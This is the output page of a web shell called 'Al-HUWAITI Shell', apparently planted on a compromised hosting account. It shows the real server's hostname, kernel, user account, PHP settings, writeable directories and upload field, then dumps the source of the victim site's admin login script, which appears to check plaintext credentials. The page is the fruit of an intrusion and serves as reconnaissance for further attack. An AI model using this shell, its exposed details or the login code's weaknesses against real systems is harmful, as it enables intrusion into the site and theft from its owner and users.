Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux server.xvl.jdw.mybluehostin.me 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : khgdcdmmac ( 1083)
PHP Version : 8.2.30
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/khgdcdmmac/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/khgdcdmmac/public_html/admin/index.php
<?php
include("config.php");
if(isset($_POST['submit'])){

	$username = $_POST['user'];
	$password = $_POST['pwd'];
	
	
	
	if(!empty($username) && !empty($password)){
		
			$parameters = array("username"=>$username, "password"=>$password);
			$get_data = $db->selectRow("admin", "*", $parameters);
			
			if(!$get_data){
				
				$msg = "invalid";
				$url = "index.php?msg=".$msg;
				header("location: $url");
				
			} else {
				
				$_SESSION['userid'] = $get_data->id;
				$_SESSION['username'] = $get_data->username;
				$_SESSION['email'] = $get_data->email;
				$_SESSION['name'] = $get_data->name;
							
				header("Location: settings.php");
				
			}
			
		}
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="Integral - A fully responsive, HTML5 based admin template">
<meta name="keywords" content="Responsive, Web Application, HTML5, Admin Template, business, professional, Integral, web design, CSS3">
<title>Login - <?php echo $settings->name; ?></title>
<!-- Site favicon -->
<link rel='shortcut icon' type='image/x-icon' href='images/favicon.ico' />
<!-- /site favicon -->

<!-- Entypo font stylesheet -->
<link href="css/entypo.css" rel="stylesheet">
<!-- /entypo font stylesheet -->

<!-- Font awesome stylesheet -->
<link href="css/font-awesome.min.css" rel="stylesheet">
<!-- /font awesome stylesheet -->

<!-- Bootstrap stylesheet min version -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<!-- /bootstrap stylesheet min version -->

<!-- Integral core stylesheet -->
<link href="css/integral-core.css" rel="stylesheet">
<!-- /integral core stylesheet -->

<link href="css/integral-forms.css" rel="stylesheet">

<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
      <script src="js/html5shiv.min.js"></script>
      <script src="js/respond.min.js"></script>
<![endif]-->


</head>
<body class="login-page">

<!-- Loader Backdrop -->
	<div class="loader-backdrop">           
	  <!-- Loader -->
		<div class="loader">
			<div class="bounce-1"></div>
			<div class="bounce-2"></div>
		</div>
	  <!-- /loader -->
	</div>
<!-- loader backgrop -->

<div class="login-container">
	<div class="login-branding">
		<a href="#"><img src="images/logo.png" alt="Integral" title="Integral"></a>
	</div>
	<div class="login-content">
		<h2><strong>Welcome</strong>, Please Login</h2>
		<form method="post" action="#">                        
			<?php 
			  if(isset($_GET['msg'])){
				if($_GET['msg']=='invalid'){
				echo "<div class='alert alert-danger'>
							<button class='close' data-dismiss='alert'>×</button>
							 <strong>Invalid Login Details.</strong>
				</div>";
				} elseif($_GET['msg']=='logout'){
				echo "<div class='alert alert-success'>
							<button class='close' data-dismiss='alert'>×</button>
							 <strong>Logout Successfully.</strong>
				</div>";
				} 
			  }
			  ?>
			<div class="form-group">
				<input name="user" type="text" placeholder="Username" class="form-control">
			</div>                        
			<div class="form-group">
				<input name="pwd" type="password" placeholder="Password" class="form-control">
			</div>
			<div class="form-group">
				 <div class="checkbox checkbox-replace">
					<input type="checkbox" id="remeber">
					<label for="remeber">Remeber me</label>
				  </div>
			 </div>
			<div class="form-group">
				<button name="submit" type="submit" class="btn btn-primary btn-block">Login</button>
			</div>
			<p class="text-center"><a href="forgot-password.php">Forgot your password?</a></p>                        
		</form>
	</div>
</div>

<!--Load JQuery-->
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/loader.js"></script>

</body>

</html>

Al-HUWAITI Shell